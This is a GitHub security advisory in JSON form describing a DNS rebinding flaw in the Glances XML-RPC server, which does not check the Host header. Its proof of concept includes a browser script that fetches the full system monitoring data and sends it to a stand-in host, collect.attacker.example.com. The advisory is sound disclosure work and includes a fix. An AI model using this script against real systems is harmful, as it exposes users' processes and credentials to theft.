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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "glances"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46611"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346",
      "CWE-350"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-22T21:31:44Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe Glances XML-RPC server (`glances -s`, implemented in `glances/server.py`) does not validate the HTTP `Host` header, leaving it vulnerable to DNS rebinding attacks.  CVE-2026-32632 (patched in 4.5.2) added `TrustedHostMiddleware` to the REST/WebUI server; the MCP server has had equivalent protection since 4.5.1. The XML-RPC server received neither fix and has no `allowed-hosts` configuration key.  Combined with the unrestricted `Access-Control-Allow-Origin: *` header (see companion advisory for CVE-2026-33533 and its incomplete fix), an attacker can exploit DNS rebinding to exfiltrate the full system monitoring dataset from a victim\u0027s browser.\n\n---\n\n### Details\n\n**Affected component:** `glances/server.py` \u2014 `GlancesXMLRPCHandler` / `GlancesXMLRPCServer`\n\n**Direct URL (commit 04579778e733d705898a169e049dc84772c852da):**\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/server.py\n\nContrast \u2014 patched backends:\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/outputs/glances_restful_api.py\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/outputs/glances_mcp.py\n\nThe `GlancesXMLRPCHandler` class inherits from Python\u0027s `xmlrpc.server.SimpleXMLRPCRequestHandler` and does not override `parse_request()` to inspect or validate the `Host` header.\n\nContrast this with the two other Glances server backends, both of which received host-validation hardening:\n\n**REST / WebUI server** (`glances/outputs/glances_restful_api.py`) \u2014 patched in 4.5.2:\n\n```python\n# glances_restful_api.py\nif self.webui_allowed_hosts:\n    self._app.add_middleware(\n        TrustedHostMiddleware,\n        allowed_hosts=self.webui_allowed_hosts,\n    )\n```\n\n**MCP server** (`glances/outputs/glances_mcp.py`) \u2014 protected since 4.5.1:\n\n```python\n# glances_mcp.py\nTransportSecuritySettings(\n    allowed_hosts=self.mcp_allowed_hosts,\n    ...\n)\n```\n\n**XML-RPC server** (`glances/server.py`) \u2014 no equivalent exists:\n\n```python\nclass GlancesXMLRPCHandler(SimpleXMLRPCRequestHandler, GlancesAPI):\n    # No Host header check; any Host value is accepted\n    rpc_paths = (\u0027/RPC2\u0027,)\n    ...\n```\n\nThere is no `xmlrpc_allowed_hosts` (or equivalent) configuration key in `glances.conf`, and the server ignores the `Host` header on every incoming request.\n\n**Confirmed on:** x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).\n\nTest results:\n\n| Server type | Host header          | HTTP status | Data returned |\n|-------------|----------------------|-------------|---------------|\n| XML-RPC     | `attacker.example.com` | 200 OK    | Yes \u2014 VULNERABLE |\n| XML-RPC     | `127.0.0.1:61209`    | 200 OK      | Yes (baseline)   |\n| REST API    | `attacker.example.com` | 400 Bad Request | No \u2014 patched |\n\n---\n\n### PoC\n\n**Attack overview**\n\nDNS rebinding breaks the browser Same-Origin Policy by making `attacker.example.com` temporarily resolve to the target\u0027s IP address (e.g. `127.0.0.1`).  From that point the victim\u0027s browser treats the attacker\u0027s page as same-origin with `http://attacker.example.com:61209/RPC2`, forwarding the attacker-controlled `Host` header to the local Glances XML-RPC server, which accepts it without validation.\n\n**Special configuration required**\n\nNo special `glances.conf` settings are needed.  The vulnerability is present in a default Glances XML-RPC server start (`glances -s`).  For the comparison test (Step 3) the REST server must also be started; that step requires Glances to be installed with web dependencies (`pip install \"glances[web]\"`).\n\n---\n\n**Step 1 \u2014 Start the Glances XML-RPC server**\n\n```bash\nglances -s -p 61209\n```\n\n**Step 2 \u2014 Confirm the server accepts an arbitrary Host header**\n\n```bash\ncurl -s -D - -X POST \"http://127.0.0.1:61209/RPC2\" \\\n     -H \"Host: attacker.example.com\" \\\n     -H \"Content-Type: text/plain\" \\\n     -d \u0027\u003c?xml version=\"1.0\"?\u003e\n         \u003cmethodCall\u003e\u003cmethodName\u003egetAllPlugins\u003c/methodName\u003e\u003c/methodCall\u003e\u0027\n```\n\nExpected result (secure): `HTTP/1.0 400 Bad Request`\nActual result: `HTTP/1.0 200 OK` with full XML-RPC response body.\n\n**Step 3 \u2014 Confirm the REST API is patched (comparison)**\n\n```bash\n# Start REST server with the same machine as allowed host:\nglances -w -p 61210 --webui-port 61210\n\ncurl -s -o /dev/null -w \"%{http_code}\\n\" \\\n     \"http://127.0.0.1:61210/api/4/status\" \\\n     -H \"Host: attacker.example.com\"\n# Returns: 400   (TrustedHostMiddleware rejects the spoofed Host)\n```\n\n**Step 4 \u2014 Full DNS rebinding exploitation (real-world path)**\n\n1. Attacker registers `attacker.example.com` with a low-TTL (1 second) DNS record initially pointing to their own server IP.\n2. Attacker serves the following page from `http://attacker.example.com`:\n\n```html\n\u003cscript\u003e\nasync function exfil() {\n  const payload = `\u003c?xml version=\"1.0\"?\u003e\n    \u003cmethodCall\u003e\u003cmethodName\u003egetAll\u003c/methodName\u003e\u003c/methodCall\u003e`;\n  try {\n    const r = await fetch(\u0027http://attacker.example.com:61209/RPC2\u0027, {\n      method:  \u0027POST\u0027,\n      headers: { \u0027Content-Type\u0027: \u0027text/plain\u0027 },\n      body:    payload,\n    });\n    const data = await r.text();\n    // data contains: hostname, OS, all processes with cmd-lines, network, disk\n    await fetch(\u0027https://collect.attacker.example.com/?d=\u0027 + btoa(data));\n  } catch (_) {}\n}\n\n// Wait for TTL to expire and DNS to rebind to 127.0.0.1, then call exfil()\nsetTimeout(exfil, 5000);\n\u003c/script\u003e\n```\n\n3. Victim visits `http://attacker.example.com` in their browser.\n4. After TTL expiry, the attacker\u0027s DNS server responds with `127.0.0.1`.\n5. The browser\u0027s `fetch()` call is sent to `127.0.0.1:61209` with `Host: attacker.example.com`; the XML-RPC server accepts it.\n6. The `Access-Control-Allow-Origin: *` header (see companion advisory) allows the browser to read the response body.\n7. The attacker receives the complete system monitoring snapshot.\n\nTools that simplify DNS rebinding for research/testing include:\n- [Singularity](https://github.com/nccgroup/singularity)\n- [rbndr.us](https://rbndr.us)\n\n**Step 5 \u2014 Confirm absence of Host check in source**\n\n```python\nimport sys, inspect\nsys.path.insert(0, \u0027/path/to/glances\u0027)   # adjust to local clone\nimport glances.server as s\n\nsrc = inspect.getsource(s.GlancesXMLRPCHandler)\nprint(\u0027Host check present:\u0027, \u0027allowed_hosts\u0027 in src or \u0027Host\u0027 in src)\n# Host check present: False\n```\n\n---\n\n### Impact\n\n**Vulnerability type:** Insufficient Verification of Data Authenticity / DNS Rebinding (CWE-350)\n\n**Who is impacted:** Any user whose browser can reach a Glances XML-RPC server and who can be lured to visit an attacker controlled web page.  This includes deployments where:\n\n- Glances is bound to `127.0.0.1` (loopback) \u2014 DNS rebinding bypasses the loopback restriction.\n- Glances is bound to a LAN IP \u2014 any browser on that LAN is at risk.\n- Glances is exposed on a public IP \u2014 any browser on the internet is at risk.\n\n**Data exposed through the XML-RPC API** includes: hostname, OS and kernel version, full process list with command-line arguments (frequently containing API keys, database passwords, and access tokens passed as environment variables or CLI flags), CPU/memory/disk/network statistics, open file descriptors, listening ports, and Docker/Kubernetes container metadata.\n\n**Impact:**\n- **Confidentiality:** High \u2014 complete system monitoring data readable remotely without credentials.\n- **Integrity:** None \u2014 read-only XML-RPC API.\n- **Availability:** None \u2014 no denial-of-service component.\n\nThe attack is amplified by the companion CORS wildcard issue (vuln03): without `Access-Control-Allow-Origin: *`, the browser would still block the response read.  Both issues must be fixed together for effective remediation.\n\n---\n\n### Suggested Fix\n\n**Option 1 \u2014 Add Host validation to the XML-RPC handler (preferred)**\n\nAdd a `webui_allowed_hosts` (or new `xmlrpc_allowed_hosts`) configuration key, and validate the `Host` header in `GlancesXMLRPCHandler`:\n\n```python\n# server.py\nclass GlancesXMLRPCHandler(SimpleXMLRPCRequestHandler, GlancesAPI):\n\n    allowed_hosts: list[str] = []   # populated from config\n\n    def parse_request(self) -\u003e bool:\n        if not super().parse_request():\n            return False\n        if self.allowed_hosts:\n            host = self.headers.get(\u0027Host\u0027, \u0027\u0027).split(\u0027:\u0027)[0]\n            if host not in self.allowed_hosts:\n                self.send_error(400, \u0027Bad Request: invalid Host header\u0027)\n                return False\n        return True\n```\n\nPopulate `allowed_hosts` from the existing `webui_allowed_hosts` config key (already used by the REST server), so operators have a single knob.\n\n**Option 2 \u2014 Deprecate and remove the XML-RPC server**\n\nThe XML-RPC server is a legacy interface.  The REST API (`glances -w`) provides a superset of functionality, is actively maintained, and has all current security controls.  Deprecating the XML-RPC server in the next major release and directing users to the REST API would eliminate this attack surface entirely.\n\n---\n\n### Responsible Disclosure\nThe AFINE Team is committed to responsible / coordinated disclosure.  The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first. \n---\n\n### Credits\n\nThis issue was identified by Micha\u0142 Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.\n\n---",
  "id": "GHSA-w856-8p3r-p338",
  "modified": "2026-06-22T21:31:44Z",
  "published": "2026-06-22T21:31:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-w856-8p3r-p338"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nicolargo/glances"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Glances: XML-RPC Server Missing Host Header Validation Enables DNS Rebinding Attack"
}